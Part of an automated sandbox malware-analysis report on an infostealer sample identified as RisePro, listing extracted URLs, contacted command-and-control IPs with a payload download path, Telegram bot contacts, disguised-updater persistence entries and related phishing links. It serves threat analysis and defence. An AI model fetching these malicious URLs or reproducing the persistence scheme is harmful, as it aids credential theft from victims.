https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	3b6N2Xdh3CYwplaces.sqlite.2.dr	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	AhUc0FWfOlxwWeb Data.2.dr, hC03xPYOkhc5Web Data.2.dr, wi06D4NAVLzfWeb Data.2.dr	false	Avira URL Cloud: safe	unknown
https://sectigo.com/CPS0	MSIUpdaterV2.exe, 00000007.00000003.1815920004.0000000002851000.00000004.00000020.00020000.00000000.sdmp, q2xutezn4kFdLk2viqDb.exe, 00000008.00000003.1809134495.000000000282E000.00000004.00000020.00020000.00000000.sdmp, l2[1].exe.2.dr, q2xutezn4kFdLk2viqDb.exe.2.dr, oobeldr.exe.8.dr, MSIUpdaterV2.exe.2.dr	false	URL Reputation: safe	unknown
http://185.172.128.82/server/k/l2.exeR0	RegSvcs.exe, 00000002.00000002.4087471947.0000000000E02000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	AhUc0FWfOlxwWeb Data.2.dr, hC03xPYOkhc5Web Data.2.dr, wi06D4NAVLzfWeb Data.2.dr	false	Avira URL Cloud: safe	unknown
http://ocsp.sectigo.com0	MSIUpdaterV2.exe, 00000007.00000003.1815920004.0000000002851000.00000004.00000020.00020000.00000000.sdmp, q2xutezn4kFdLk2viqDb.exe, 00000008.00000003.1809134495.000000000282E000.00000004.00000020.00020000.00000000.sdmp, l2[1].exe.2.dr, q2xutezn4kFdLk2viqDb.exe.2.dr, oobeldr.exe.8.dr, MSIUpdaterV2.exe.2.dr	false	URL Reputation: safe	unknown
https://db-ip.com/	RegSvcs.exe, 00000002.00000002.4087471947.0000000000E02000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.172.128.82/server/k/l2.exe-u	RegSvcs.exe, 00000002.00000002.4088382278.0000000005140000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ipinfo.io/https://www.maxmind.com/en/locate-my-ip-addressWs2_32.dll	file.exe, 00000000.00000002.1650745382.00000000052F5000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.1650745382.00000000045C1000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4085512591.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	AhUc0FWfOlxwWeb Data.2.dr, hC03xPYOkhc5Web Data.2.dr, wi06D4NAVLzfWeb Data.2.dr	false	Avira URL Cloud: safe	unknown
https://t.me/RiseProSUPPORT	3mPJKgsigfIE_SLZsizIH3r.zip.2.dr	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	AhUc0FWfOlxwWeb Data.2.dr, hC03xPYOkhc5Web Data.2.dr, wi06D4NAVLzfWeb Data.2.dr	false	URL Reputation: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	JzfQ8mMmJVvXHistory.2.dr, PlAoyWlIwtSEHistory.2.dr	false	URL Reputation: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	JzfQ8mMmJVvXHistory.2.dr, PlAoyWlIwtSEHistory.2.dr	false	URL Reputation: safe	unknown
https://www.ecosia.org/newtab/	AhUc0FWfOlxwWeb Data.2.dr, hC03xPYOkhc5Web Data.2.dr, wi06D4NAVLzfWeb Data.2.dr	false	URL Reputation: safe	unknown
https://db-ip.com/demo/home.php?s=8.46.123.1750	RegSvcs.exe, 00000002.00000002.4087471947.0000000000E02000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ipinfo.io/Mozilla/5.0	RegSvcs.exe, 00000002.00000002.4087471947.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	3b6N2Xdh3CYwplaces.sqlite.2.dr	false	URL Reputation: safe	unknown
https://ac.ecosia.org/autocomplete?q=	AhUc0FWfOlxwWeb Data.2.dr, hC03xPYOkhc5Web Data.2.dr, wi06D4NAVLzfWeb Data.2.dr	false	URL Reputation: safe	unknown
http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t	MSIUpdaterV2.exe, 00000007.00000003.1815920004.0000000002851000.00000004.00000020.00020000.00000000.sdmp, q2xutezn4kFdLk2viqDb.exe, 00000008.00000003.1809134495.000000000282E000.00000004.00000020.00020000.00000000.sdmp, l2[1].exe.2.dr, q2xutezn4kFdLk2viqDb.exe.2.dr, oobeldr.exe.8.dr, MSIUpdaterV2.exe.2.dr	false	URL Reputation: safe	unknown
https://t.me/risepro_bot	RegSvcs.exe, 00000002.00000002.4087471947.0000000000E02000.00000004.00000020.00020000.00000000.sdmp, passwords.txt.2.dr	false	Avira URL Cloud: safe	unknown
https://db-ip.com:443/demo/home.php?s=8.46.123.175	RegSvcs.exe, 00000002.00000002.4087471947.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ipinfo.io/	RegSvcs.exe, 00000002.00000002.4086941629.0000000000DA9000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4087471947.0000000000DDC000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4087471947.0000000000E02000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://t.me/risepro_botlater3.175	RegSvcs.exe, 00000002.00000002.4087471947.0000000000E02000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.maxmind.com/en/locate-my-ip-address	RegSvcs.exe	false	URL Reputation: safe	unknown
http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#	MSIUpdaterV2.exe, 00000007.00000003.1815920004.0000000002851000.00000004.00000020.00020000.00000000.sdmp, q2xutezn4kFdLk2viqDb.exe, 00000008.00000003.1809134495.000000000282E000.00000004.00000020.00020000.00000000.sdmp, l2[1].exe.2.dr, q2xutezn4kFdLk2viqDb.exe.2.dr, oobeldr.exe.8.dr, MSIUpdaterV2.exe.2.dr	false	URL Reputation: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	JzfQ8mMmJVvXHistory.2.dr, PlAoyWlIwtSEHistory.2.dr	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	AhUc0FWfOlxwWeb Data.2.dr, hC03xPYOkhc5Web Data.2.dr, wi06D4NAVLzfWeb Data.2.dr	false	URL Reputation: safe	unknown
http://185.172.128.82/server/k/l2.exe~u	RegSvcs.exe, 00000002.00000002.4088382278.0000000005140000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.winimage.com/zLibDll	file.exe, 00000000.00000002.1650745382.00000000052F5000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.1650745382.00000000045C1000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, RegSvcs.exe, 00000002.00000002.4085512591.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://t.me/risepro_bot%0	RegSvcs.exe, 00000002.00000002.4087471947.0000000000E02000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org	3b6N2Xdh3CYwplaces.sqlite.2.dr	false	URL Reputation: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	JzfQ8mMmJVvXHistory.2.dr, PlAoyWlIwtSEHistory.2.dr	false	URL Reputation: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	AhUc0FWfOlxwWeb Data.2.dr, hC03xPYOkhc5Web Data.2.dr, wi06D4NAVLzfWeb Data.2.dr	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
34.117.186.192	ipinfo.io	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
185.172.128.82	unknown	Russian Federation	50916	NADYMSS-ASRU	true
185.172.128.136	unknown	Russian Federation	50916	NADYMSS-ASRU	true
104.26.4.15	db-ip.com	United States	13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1446851
Start date and time:	2024-05-23 23:32:08 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 6s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	24
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@28/33@2/4
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 87% Number of executed functions: 148 Number of non-executed functions: 204
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
17:32:55	API Interceptor	1x Sleep call for process: file.exe modified
17:33:12	API Interceptor	6084520x Sleep call for process: RegSvcs.exe modified
17:33:49	API Interceptor	2164828x Sleep call for process: oobeldr.exe modified
22:33:11	Task Scheduler	Run new task: MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26 HR path: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe
22:33:12	Task Scheduler	Run new task: MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26 LG path: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe
22:33:12	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26 C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe
22:33:14	Task Scheduler	Run new task: Telemetry Logging path: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe
22:33:20	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26 C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe
22:33:28	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\EdgeMS2.lnk

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
34.117.186.192	SecuriteInfo.com.Win32.Evo-gen.24318.16217.exe	Get hash	malicious	Unknown	Browse	ipinfo.io/json
	SecuriteInfo.com.Win32.Evo-gen.28489.31883.exe	Get hash	malicious	Unknown	Browse	ipinfo.io/json
	Raptor.HardwareService.Setup 1.msi	Get hash	malicious	Unknown	Browse	ipinfo.io/ip
	Conferma_Pdf_Editor.exe	Get hash	malicious	Planet Stealer	Browse	ipinfo.io/
	Conferma_Pdf_Editor.exe	Get hash	malicious	Planet Stealer	Browse	ipinfo.io/
	w.sh	Get hash	malicious	Xmrig	Browse	/ip
	Raptor.HardwareService.Setup_2.3.6.0.msi	Get hash	malicious	Unknown	Browse	ipinfo.io/ip
	Raptor.HardwareService.Setup_2.3.6.0.msi	Get hash	malicious	Unknown	Browse	ipinfo.io/ip
	uUsgzQ3DoW.exe	Get hash	malicious	RedLine	Browse	ipinfo.io/ip
	8BZBgbeCcz.exe	Get hash	malicious	RedLine	Browse	ipinfo.io/ip
185.172.128.82	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse	185.172.128.82/server/k/l2.exe
185.172.128.136	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse
185.172.128.136	e68e3ea4b274b483bb4a6d826ff8f70fb1142d0d04749.exe	Get hash	malicious	RedLine	Browse
104.26.4.15	#Ud3ec#Ud2b8#Ud3f4#Ub9ac#Uc624.exe	Get hash	malicious	Nemty, Xmrig	Browse	api.db-ip.com/v2/free/102.129.152.212/countryName

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ipinfo.io	PstCgdvsgB.exe	Get hash	malicious	LummaC, RisePro Stealer	Browse	34.117.186.192
	1n4J6tLgsc.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192
	N35q9x6n9c.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192
	PstCgdvsgB.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192
	SecuriteInfo.com.Trojan.PWS.RisePro.156.1977.119.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192
	factboletaeletricge.msi	Get hash	malicious	Unknown	Browse	34.117.186.192
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse	34.117.186.192
	file.exe	Get hash	malicious	Unknown	Browse	34.117.186.192
	SecuriteInfo.com.Win32.PWSX-gen.6599.4105.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192
	ansrnotificacaonova.msi	Get hash	malicious	Unknown	Browse	34.117.186.192
db-ip.com	PstCgdvsgB.exe	Get hash	malicious	LummaC, RisePro Stealer	Browse	104.26.5.15
	1n4J6tLgsc.exe	Get hash	malicious	RisePro Stealer	Browse	104.26.5.15
	N35q9x6n9c.exe	Get hash	malicious	RisePro Stealer	Browse	172.67.75.166
	PstCgdvsgB.exe	Get hash	malicious	RisePro Stealer	Browse	172.67.75.166
	http://x6-1f3.pages.dev/appeal_case_ID/	Get hash	malicious	Unknown	Browse	104.26.4.15
	https://support-team-9922057787-01951nbp10.netlify.app/id.html/	Get hash	malicious	Unknown	Browse	104.26.4.15
	https://standards-community-e31d71.netlify.app/id.html/	Get hash	malicious	Unknown	Browse	104.26.5.15
	https://x1-44h.pages.dev/appeal_case_ID/	Get hash	malicious	Unknown	Browse	104.26.5.15
	SecuriteInfo.com.Trojan.PWS.RisePro.156.1977.119.exe	Get hash	malicious	RisePro Stealer	Browse	104.26.4.15
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse	172.67.75.166

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
NADYMSS-ASRU	SecuriteInfo.com.Win64.PWSX-gen.29347.28297.exe	Get hash	malicious	Neoreklami, PureLog Stealer	Browse	185.172.128.82
	SecuriteInfo.com.Trojan.DownLoader46.63448.20864.604.exe	Get hash	malicious	GCleaner, Nymaim	Browse	185.172.128.69
	btCbrSS2Je.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	185.172.128.170
	7urUz64I0Y.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	185.172.128.170
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse	185.172.128.136
	Icnf16xPb9.exe	Get hash	malicious	RedLine	Browse	185.172.128.33
	1.exe	Get hash	malicious	PureLog Stealer	Browse	185.172.128.159
	6tJtH22I7a.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, Stealc	Browse	185.172.128.19
	hCXC8cWYim.exe	Get hash	malicious	GCleaner	Browse	185.172.128.90
	SecuriteInfo.com.W32.Kryptik.HCOV.tr.31080.6167.exe	Get hash	malicious	GCleaner, Nymaim	Browse	185.172.128.90
GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	SecuriteInfo.com.Win64.PWSX-gen.29347.28297.exe	Get hash	malicious	Neoreklami, PureLog Stealer	Browse	34.117.186.192
	https://qrco.de/n8mxa4i5VHuJk4PMwkLpvyNqgwLBQ0Sb/?zwphvtjquqnl/pub/cc?_ri_=X0Gzc2X%3DAQpglLjHJlYQGXHi3ygqqrREEgoSeza8UICjjze1whbSsXnwpzgE8gG5CszbXAjhO3FqKUWVXtpKX%3DUYRTAADY&_ei_=EM6hiIRZ6IbTRQzpp7EgfWDv5wmb7wtZr_HKt4Y9565l73Y_PqZSaCEhvHs0mzNqB-gBgO3tuO3UzGxLd8-XUq76ZMc933xI6KE-OcN9i_7_vZ1nKFQzNpaL4RiL4mq9EVgUJPIQMWCvlw3G0w1CjXYcIG-BSVUdKxTJ-nET9bFyCwB2_dByO9r2C-jKzARF7AriZjx_pk4nCrXsqa5CQmpAUkWEc-dfHJ9wX73GWCpfF57_v_ES7Af2szUwfyD1crCX8fOSqjBUZSUnMozbxe4aYYiNhDFxL-2jMKdpABJE3vtt_geGts7n8Xf4EYbq7j3d_IMY4o8Q72577S1E3LPhYqvKvmKbTUvvnIMLzsO6OHpvMQd9_ppOuzIIivn9ZEfO3rb9O9j_duNb3MRYEYBN-0s24zFn151NBJlyD6Gq-MjdBvSKqeeKbw5Wfsj_VyMcrEbHNU3N-Fwk31llQYD9Y_KwimheCdKUAFPtoMQQev1yIcv8hHULCmqh0T1-CEH0F10XlSOydOFp_GyqRNIoG2OjudzyH2-uSleZsarzjYlowPA825PtI7w6EzQlva8d5pko8MVh5GhEP_jIa45zP_XmcMGT6AurPE-K2-xcw0R3fJdeI2HLvwr04_2EB8cEsQvXASU8ndzsHdI_YoX-pNX-DGKMx-6o7E8ijo1A4IQu6extYnY-yNU8Vt-z9xT3l2_ybVcDcwUj0ZQbN2JWPhpiuk8AtxJGzNnIrb4fD-PiJQXEveDyN7N9WsWB0Lg4So4GVp3wT2J2c8BxTsaHBlF99Acrgm9dCZjD_F51LbRK0LCxQjX-tsn4QuELhVAmkIDb_mIoHBFMG6pvRiLCwd_1KWrY31qzwPtEFzqzLUjtacn_BU8V3jK4bE2aqaNyrQaB0oaSFT5kgpAzuJ_iH7j8LpQz0TQLZ4tmiAQeKYiG_FGPh3KXElLE7DkhVTs0Oi8Q6tLs6smyQq4eF3hLlTnnZgSTePsTLxmDzrSw-KGeDyW2LkOZ4kbkxvCGN6seSt91qJ5eDDYhrv3-FjtktxugKzF7yfbej64mQyq1x75cGd6er7nAEMPG28MGLOx9idu5hHS8xpH3XiKhrSQQ3YC3jWQ8qY-EF-Q0TcdwfOj9V-oeOy0KZ-xAMn4XoAuVsYtm7dInk0l0GcUOHwbLnVpy8vKxcHhomXAYRvCzxOe9DPAf3WyCg16exynSJ7tVWJIJA2HKvQ30Pkd9jo8ww7nT6bHa-kCAU5sP0R60XwbaOD1Va5lezql219BRJKOoQC3Ce2b6YAtmFxpVQCXmavy8ISfNPYLP7iYDoR3ywadCKdxWiaVT52gr.&_di_=auf9n3qge530sjoc9a8mlfu4dl79cq7siqsd7tr5omthg3894hpg	Get hash	malicious	Unknown	Browse	34.66.3.160
	PstCgdvsgB.exe	Get hash	malicious	LummaC, RisePro Stealer	Browse	34.117.186.192
	1n4J6tLgsc.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192
	N35q9x6n9c.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192
	PstCgdvsgB.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192
	Clear.7z	Get hash	malicious	Unknown	Browse	34.117.188.166
	http://segurogestionvirtual.brizy.site/	Get hash	malicious	Unknown	Browse	34.117.77.79
	https://actualizacionesban-colombia.brizy.site/	Get hash	malicious	Unknown	Browse	34.117.77.79
	https://dieucestquilfait.wixsite.com/my-site-2/	Get hash	malicious	Unknown	Browse	34.117.60.144
NADYMSS-ASRU	SecuriteInfo.com.Win64.PWSX-gen.29347.28297.exe	Get hash	malicious	Neoreklami, PureLog Stealer	Browse	185.172.128.82
	SecuriteInfo.com.Trojan.DownLoader46.63448.20864.604.exe	Get hash	malicious	GCleaner, Nymaim	Browse	185.172.128.69
	btCbrSS2Je.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	185.172.128.170
	7urUz64I0Y.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	185.172.128.170
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse	185.172.128.136
	Icnf16xPb9.exe	Get hash	malicious	RedLine	Browse	185.172.128.33
	1.exe	Get hash	malicious	PureLog Stealer	Browse	185.172.128.159
	6tJtH22I7a.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, Stealc	Browse	185.172.128.19
	hCXC8cWYim.exe	Get hash	malicious	GCleaner	Browse	185.172.128.90
	SecuriteInfo.com.W32.Kryptik.HCOV.tr.31080.6167.exe	Get hash	malicious	GCleaner, Nymaim	Browse	185.172.128.90
CLOUDFLARENETUS	http://css.cdntoswitchspirit.com	Get hash	malicious	Unknown	Browse	172.64.154.167
	ELECTRONIC RECEIPT_Jlohr.html	Get hash	malicious	HTMLPhisher	Browse	104.17.2.184
	https://filesonline.phibraimplementos.com.br/?username=dveon@bigge.com&gclid=EAIaIQobChMIycO8zICjgQMVjiJECB0P2wITEAEYASAAEgKIsvD_BwE	Get hash	malicious	HTMLPhisher	Browse	1.1.1.1
	https://proviaproducts-my.sharepoint.com/:b:/g/personal/bob_rossi_provia_com/EauUYf5z_mVEl6zpKR_CWboBMEVjvJSVOwhT3Uu3DqpEnQ?e=kDZFqy	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	104.17.2.184
	SecuriteInfo.com.Win64.PWSX-gen.29347.28297.exe	Get hash	malicious	Neoreklami, PureLog Stealer	Browse	188.114.96.3
	https://qrco.de/n8mxa4i5VHuJk4PMwkLpvyNqgwLBQ0Sb/?zwphvtjquqnl/pub/cc?_ri_=X0Gzc2X%3DAQpglLjHJlYQGXHi3ygqqrREEgoSeza8UICjjze1whbSsXnwpzgE8gG5CszbXAjhO3FqKUWVXtpKX%3DUYRTAADY&_ei_=EM6hiIRZ6IbTRQzpp7EgfWDv5wmb7wtZr_HKt4Y9565l73Y_PqZSaCEhvHs0mzNqB-gBgO3tuO3UzGxLd8-XUq76ZMc933xI6KE-OcN9i_7_vZ1nKFQzNpaL4RiL4mq9EVgUJPIQMWCvlw3G0w1CjXYcIG-BSVUdKxTJ-nET9bFyCwB2_dByO9r2C-jKzARF7AriZjx_pk4nCrXsqa5CQmpAUkWEc-dfHJ9wX73GWCpfF57_v_ES7Af2szUwfyD1crCX8fOSqjBUZSUnMozbxe4aYYiNhDFxL-2jMKdpABJE3vtt_geGts7n8Xf4EYbq7j3d_IMY4o8Q72577S1E3LPhYqvKvmKbTUvvnIMLzsO6OHpvMQd9_ppOuzIIivn9ZEfO3rb9O9j_duNb3MRYEYBN-0s24zFn151NBJlyD6Gq-MjdBvSKqeeKbw5Wfsj_VyMcrEbHNU3N-Fwk31llQYD9Y_KwimheCdKUAFPtoMQQev1yIcv8hHULCmqh0T1-CEH0F10XlSOydOFp_GyqRNIoG2OjudzyH2-uSleZsarzjYlowPA825PtI7w6EzQlva8d5pko8MVh5GhEP_jIa45zP_XmcMGT6AurPE-K2-xcw0R3fJdeI2HLvwr04_2EB8cEsQvXASU8ndzsHdI_YoX-pNX-DGKMx-6o7E8ijo1A4IQu6extYnY-yNU8Vt-z9xT3l2_ybVcDcwUj0ZQbN2JWPhpiuk8AtxJGzNnIrb4fD-PiJQXEveDyN7N9WsWB0Lg4So4GVp3wT2J2c8BxTsaHBlF99Acrgm9dCZjD_F51LbRK0LCxQjX-tsn4QuELhVAmkIDb_mIoHBFMG6pvRiLCwd_1KWrY31qzwPtEFzqzLUjtacn_BU8V3jK4bE2aqaNyrQaB0oaSFT5kgpAzuJ_iH7j8LpQz0TQLZ4tmiAQeKYiG_FGPh3KXElLE7DkhVTs0Oi8Q6tLs6smyQq4eF3hLlTnnZgSTePsTLxmDzrSw-KGeDyW2LkOZ4kbkxvCGN6seSt91qJ5eDDYhrv3-FjtktxugKzF7yfbej64mQyq1x75cGd6er7nAEMPG28MGLOx9idu5hHS8xpH3XiKhrSQQ3YC3jWQ8qY-EF-Q0TcdwfOj9V-oeOy0KZ-xAMn4XoAuVsYtm7dInk0l0GcUOHwbLnVpy8vKxcHhomXAYRvCzxOe9DPAf3WyCg16exynSJ7tVWJIJA2HKvQ30Pkd9jo8ww7nT6bHa-kCAU5sP0R60XwbaOD1Va5lezql219BRJKOoQC3Ce2b6YAtmFxpVQCXmavy8ISfNPYLP7iYDoR3ywadCKdxWiaVT52gr.&_di_=auf9n3qge530sjoc9a8mlfu4dl79cq7siqsd7tr5omthg3894hpg	Get hash	malicious	Unknown	Browse	104.19.178.52
	https://u44668105.ct.sendgrid.net/ls/click?upn=u001.BTMESiTo6NsF48uIW4-2BrJkEc2YVFzyAaMWnWwgGT9cZqZS45ZZqu4Y-2FXJmZd8BXA8cja_AHV3UK6XjfrXMiZ9J4igW-2FDEUbICycoJ744IkX0PR6FoPBD5ixGfLkyQ9ofRFx1gjy-2BP-2BDUWqu7bhyffh6xflqZsbtNZtMLnpgQoCGrYBrKDAQCrs-2BXh7tVhTtmxcULJOM-2BKcO31hWTdcLyh6xHaFmrsv6JFsx6tjkxHhVyYzmDL2WjDZWPIbWyOCKFNxt29pnc1D6Wos9by2AU7AhdVB3KlHpWThOWm6-2FAP-2Buqng4Vq-2BmwndZ6wQGKVc-2FG51viAW-2FpPzuJOGK4hC-2FF-2FfgyonvDWvDkNa4J3BejflmN-2BuGCUZSHoW4H7oETlKRzn4f7VwMbU0WFOF9ZUfOI6CISxhvZQTsnMYzitMow1nPeu-2Flg0-2FzAaZA27HnZ5WdxtR2wKofgxyBDPpPjMUDCXBmEfEWtT8NXGmNaNpBvJDLI13EkOwRxoG67u0CqbvxxYYK-2F5eu2B-2Bg9JTJRxFbICA7lEJgDZLYhBS-2BbGjIrrRDvHg0hAvMhBJ54TVAoWNvYZYG-2FCqbCuzJrUBI0DoaRAGLq44smm73hnjeG06IT3WQV3A8KkhlXB3fqBFue-2Fd4ydFypfr1PkBzxIk-2FPd1H2pJdMYF-2B7HONDoFax8K-2BBkvfgdiIY-3D	Get hash	malicious	HTMLPhisher	Browse	104.17.2.184
	qtCWL0lgfX.exe	Get hash	malicious	FormBook	Browse	23.227.38.74
	https://u44668105.ct.sendgrid.net/ls/click?upn=u001.BTMESiTo6NsF48uIW4-2BrJkEc2YVFzyAaMWnWwgGT9cZqZS45ZZqu4Y-2FXJmZd8BXA8cja_AHV3UK6XjfrXMiZ9J4igW-2FDEUbICycoJ744IkX0PR6FoPBD5ixGfLkyQ9ofRFx1gjy-2BP-2BDUWqu7bhyffh6xflqZsbtNZtMLnpgQoCGrYBrKDAQCrs-2BXh7tVhTtmxcULJOM-2BKcO31hWTdcLyh6xHaFmrsv6JFsx6tjkxHhVyYzmDL2WjDZWPIbWyOCKFNxt29pnc1D6Wos9by2AU7AhdVB3KlHpWThOWm6-2FAP-2Buqng4Vq-2BmwndZ6wQGKVc-2FG51viAW-2FpPzuJOGK4hC-2FF-2FfgyonvDWvDkNa4J3BejflmN-2BuGCUZSHoW4H7oETlKRzn4f7VwMbU0WFOF9ZUfOI6CISxhvZQTsnMYzitMow1nPeu-2Flg0-2FzAaZA27HnZ5WdxtR2wKofgxyBDPpPjMUDCXBmEfEWtT8NXGmNaNpBvJDLI13EkOwRxoG67u0CqbvxxYYK-2F5eu2B-2Bg9JTJRxFbICA7lEJgDZLYhBS-2BbGjIrrRDvHg0hAvMhBJ54TVAoWNvYZYG-2FCqbCuzJrUBI0DoaRAGLq44smm73hnjeG06IT3WQV3A8KkhlXB3fqBFue-2Fd4ydFypfr1PkBzxIk-2FPd1H2pJdMYF-2B7HONDoFax8K-2BBkvfgdiIY-3D	Get hash	malicious	HTMLPhisher	Browse	104.17.2.184
	G5N0mtxJLN.exe	Get hash	malicious	Lokibot	Browse	188.114.96.3

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	Aktivasyon #U0130#U00e7in Gerekli Belgeler.exe	Get hash	malicious	DBatLoader	Browse	34.117.186.192 104.26.4.15
	S28BW-420120416270,pdf.exe	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse	34.117.186.192 104.26.4.15
	Dextron Group PO.exe	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse	34.117.186.192 104.26.4.15
	Aktivasyon #U0130#U00e7in Gerekli Belgeler.exe	Get hash	malicious	DBatLoader	Browse	34.117.186.192 104.26.4.15
